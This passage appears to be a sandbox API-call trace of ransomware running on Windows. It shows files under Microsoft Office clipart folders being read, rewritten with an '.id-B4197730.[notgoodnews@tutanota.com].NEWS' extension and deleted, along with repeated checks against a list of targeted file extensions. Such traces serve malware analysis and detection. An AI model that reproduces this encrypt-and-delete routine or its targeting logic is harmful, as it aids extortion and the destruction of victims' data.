files\\microsoft shared\\ink\\ipsrom.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0158.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrom.xml") returned 61 [0158.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrom.xml") returned 61 [0158.850] lstrlenW (lpString=".doc") returned 4 [0158.850] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0158.850] lstrlenW (lpString=".docx") returned 5 [0158.850] lstrcmpiW (lpString1=".docx", lpString2="m.xml") returned -1 [0158.850] lstrlenW (lpString=".pdf") returned 4 [0158.850] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0158.850] lstrlenW (lpString=".xls") returned 4 [0158.850] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0158.850] lstrlenW (lpString=".xlsx") returned 5 [0158.850] lstrcmpiW (lpString1=".xlsx", lpString2="m.xml") returned -1 [0158.850] lstrlenW (lpString=".ppt") returned 4 [0158.850] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0158.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrom.xml") returned 61 [0158.850] lstrlenW (lpString=".zip") returned 4 [0158.850] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0158.850] lstrlenW (lpString=".rar") returned 4 [0158.850] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0158.850] lstrlenW (lpString=".bz2") returned 4 [0158.850] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0158.850] lstrlenW (lpString=".7z") returned 3 [0158.850] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0158.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrom.xml") returned 61 [0160.227] GetFileSizeEx (in: hFile=0x47c, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=2848) returned 1 [0160.227] CloseHandle (hObject=0x47c) returned 1 [0160.229] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01013_.wmf")) returned 0x220 [0160.229] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01013_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0160.230] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01013_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47c [0160.230] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.230] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.230] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01013_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x480 [0160.233] GetLastError () returned 0x0 [0160.233] ReadFile (in: hFile=0x47c, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0xb20, lpOverlapped=0x0) returned 1 [0160.250] WriteFile (in: hFile=0x480, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xb30, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0xb30, lpOverlapped=0x0) returned 1 [0160.251] ReadFile (in: hFile=0x47c, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0160.251] WriteFile (in: hFile=0x480, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0xec, lpOverlapped=0x0) returned 1 [0160.251] SetEndOfFile (hFile=0x480) returned 1 [0160.252] CloseHandle (hObject=0x480) returned 1 [0160.252] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.252] SetEndOfFile (hFile=0x47c) returned 1 [0160.255] CloseHandle (hObject=0x47c) returned 1 [0160.255] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0160.255] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01013_.wmf")) returned 1 [0160.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68 [0160.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68 [0160.256] lstrlenW (lpString=".doc") returned 4 [0160.256] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0160.256] lstrlenW (lpString=".docx") returned 5 [0160.256] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0160.256] lstrlenW (lpString=".pdf") returned 4 [0160.256] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0160.256] lstrlenW (lpString=".xls") returned 4 [0160.256] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0160.256] lstrlenW (lpString=".xlsx") returned 5 [0160.256] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0160.256] lstrlenW (lpString=".ppt") returned 4 [0160.256] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0160.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68 [0160.256] lstrlenW (lpString=".zip") returned 4 [0160.257] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0160.257] lstrlenW (lpString=".rar") returned 4 [0160.257] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0160.257] lstrlenW (lpString=".bz2") returned 4 [0160.257] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0160.257] lstrlenW (lpString=".7z") returned 3 [0160.257] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0160.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68 [0160.257] lstrlenW (lpString=".dbf") returned 4 [0160.257] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0160.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68 [0160.257] lstrlenW (lpString=".1cd") returned 4 [0160.257] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0160.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68 [0160.257] lstrlenW (lpString=".jpg") returned 4 [0160.257] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0160.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68 [0160.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68 [0160.257] lstrlenW (lpString=".doc") returned 4 [0160.257] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0160.257] lstrlenW (lpString=".docx") returned 5 [0160.257] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0160.257] lstrlenW (lpString=".pdf") returned 4 [0160.257] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0160.257] lstrlenW (lpString=".xls") returned 4 [0160.257] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0160.257] lstrlenW (lpString=".xlsx") returned 5 [0160.257] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0160.257] lstrlenW (lpString=".ppt") returned 4 [0160.257] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0160.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68 [0160.258] lstrlenW (lpString=".zip") returned 4 [0160.258] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0160.258] lstrlenW (lpString=".rar") returned 4 [0160.258] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0160.258] lstrlenW (lpString=".bz2") returned 4 [0160.258] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0160.258] lstrlenW (lpString=".7z") returned 3 [0160.258] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0160.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68 [0160.258] lstrlenW (lpString=".dbf") returned 4 [0160.258] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0160.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68 [0160.258] lstrlenW (lpString=".1cd") returned 4 [0160.258] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0160.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68 [0160.258] lstrlenW (lpString=".jpg") returned 4 [0160.258] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0160.258] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0160.258] lstrlenW (lpString="HH01618_.WMF") returned 12 [0160.258] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01618_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47c [0160.260] GetFileSizeEx (in: hFile=0x47c, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=7296) returned 1 [0160.260] CloseHandle (hObject=0x47c) returned 1 [0160.260] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01618_.wmf")) returned 0x220 [0160.260] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01618_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0160.260] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01618_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47c [0160.261] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.261] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.261] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01618_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x480 [0160.262] GetLastError () returned 0x0 [0160.262] ReadFile (in: hFile=0x47c, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x1c80, lpOverlapped=0x0) returned 1 [0160.769] WriteFile (in: hFile=0x480, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x1c90, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0x1c90, lpOverlapped=0x0) returned 1 [0160.770] ReadFile (in: hFile=0x47c, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0160.770] WriteFile (in: hFile=0x480, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0xec, lpOverlapped=0x0) returned 1 [0160.770] SetEndOfFile (hFile=0x480) returned 1 [0161.060] CloseHandle (hObject=0x480) returned 1 [0161.060] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.060] SetEndOfFile (hFile=0x47c) returned 1 [0161.076] CloseHandle (hObject=0x47c) returned 1 [0161.076] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0161.100] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01618_.wmf")) returned 1 [0161.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0161.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0161.101] lstrlenW (lpString=".doc") returned 4 [0161.101] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0161.101] lstrlenW (lpString=".docx") returned 5 [0161.101] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0161.101] lstrlenW (lpString=".pdf") returned 4 [0161.101] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0161.101] lstrlenW (lpString=".xls") returned 4 [0161.101] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0161.101] lstrlenW (lpString=".xlsx") returned 5 [0161.101] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0161.101] lstrlenW (lpString=".ppt") returned 4 [0161.101] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0161.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0161.101] lstrlenW (lpString=".zip") returned 4 [0161.101] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0161.101] lstrlenW (lpString=".rar") returned 4 [0161.101] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0161.101] lstrlenW (lpString=".bz2") returned 4 [0161.101] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0161.101] lstrlenW (lpString=".7z") returned 3 [0161.101] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0161.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0161.101] lstrlenW (lpString=".dbf") returned 4 [0161.101] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0161.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0161.101] lstrlenW (lpString=".1cd") returned 4 [0161.101] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0161.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0161.101] lstrlenW (lpString=".jpg") returned 4 [0161.102] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0161.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0161.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0161.102] lstrlenW (lpString=".doc") returned 4 [0161.102] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0161.102] lstrlenW (lpString=".docx") returned 5 [0161.102] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0161.102] lstrlenW (lpString=".pdf") returned 4 [0161.102] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0161.102] lstrlenW (lpString=".xls") returned 4 [0161.102] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0161.102] lstrlenW (lpString=".xlsx") returned 5 [0161.102] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0161.102] lstrlenW (lpString=".ppt") returned 4 [0161.102] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0161.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0161.102] lstrlenW (lpString=".zip") returned 4 [0161.102] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0161.102] lstrlenW (lpString=".rar") returned 4 [0161.102] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0161.102] lstrlenW (lpString=".bz2") returned 4 [0161.102] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0161.102] lstrlenW (lpString=".7z") returned 3 [0161.102] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0161.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0161.102] lstrlenW (lpString=".dbf") returned 4 [0161.102] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0161.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0161.102] lstrlenW (lpString=".1cd") returned 4 [0161.102] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0161.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0161.102] lstrlenW (lpString=".jpg") returned 4 [0161.102] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0161.103] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0161.103] lstrlenW (lpString="HH02298_.WMF") returned 12 [0161.103] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02298_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47c [0161.106] GetFileSizeEx (in: hFile=0x47c, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=5552) returned 1 [0161.106] CloseHandle (hObject=0x47c) returned 1 [0161.106] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02298_.wmf")) returned 0x220 [0161.106] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02298_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0161.106] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02298_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47c [0161.106] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.107] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.107] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02298_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x46c [0161.107] GetLastError () returned 0x0 [0161.107] ReadFile (in: hFile=0x47c, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x15b0, lpOverlapped=0x0) returned 1 [0161.110] WriteFile (in: hFile=0x46c, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x15c0, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0x15c0, lpOverlapped=0x0) returned 1 [0161.111] ReadFile (in: hFile=0x47c, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0161.111] WriteFile (in: hFile=0x46c, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0xec, lpOverlapped=0x0) returned 1 [0161.111] SetEndOfFile (hFile=0x46c) returned 1 [0161.111] CloseHandle (hObject=0x46c) returned 1 [0161.111] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.111] SetEndOfFile (hFile=0x47c) returned 1 [0161.114] CloseHandle (hObject=0x47c) returned 1 [0161.114] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0161.114] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02298_.wmf")) returned 1 [0161.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68 [0161.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68 [0161.115] lstrlenW (lpString=".doc") returned 4 [0161.115] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0161.115] lstrlenW (lpString=".docx") returned 5 [0161.115] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0161.115] lstrlenW (lpString=".pdf") returned 4 [0161.115] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0161.115] lstrlenW (lpString=".xls") returned 4 [0161.115] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0161.115] lstrlenW (lpString=".xlsx") returned 5 [0161.115] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0161.115] lstrlenW (lpString=".ppt") returned 4 [0161.115] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0161.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68 [0161.115] lstrlenW (lpString=".zip") returned 4 [0161.115] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0161.115] lstrlenW (lpString=".rar") returned 4 [0161.115] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0161.115] lstrlenW (lpString=".bz2") returned 4 [0161.115] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0161.115] lstrlenW (lpString=".7z") returned 3 [0161.115] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0161.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68 [0161.116] lstrlenW (lpString=".dbf") returned 4 [0161.116] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0161.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68 [0161.116] lstrlenW (lpString=".1cd") returned 4 [0161.116] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0161.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68 [0161.116] lstrlenW (lpString=".jpg") returned 4 [0161.116] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0161.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68 [0161.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68 [0161.116] lstrlenW (lpString=".doc") returned 4 [0161.116] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0161.116] lstrlenW (lpString=".docx") returned 5 [0161.116] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0161.116] lstrlenW (lpString=".pdf") returned 4 [0161.116] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0161.116] lstrlenW (lpString=".xls") returned 4 [0161.116] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0161.116] lstrlenW (lpString=".xlsx") returned 5 [0161.116] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0161.116] lstrlenW (lpString=".ppt") returned 4 [0161.116] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0161.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68 [0161.116] lstrlenW (lpString=".zip") returned 4 [0161.116] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0161.116] lstrlenW (lpString=".rar") returned 4 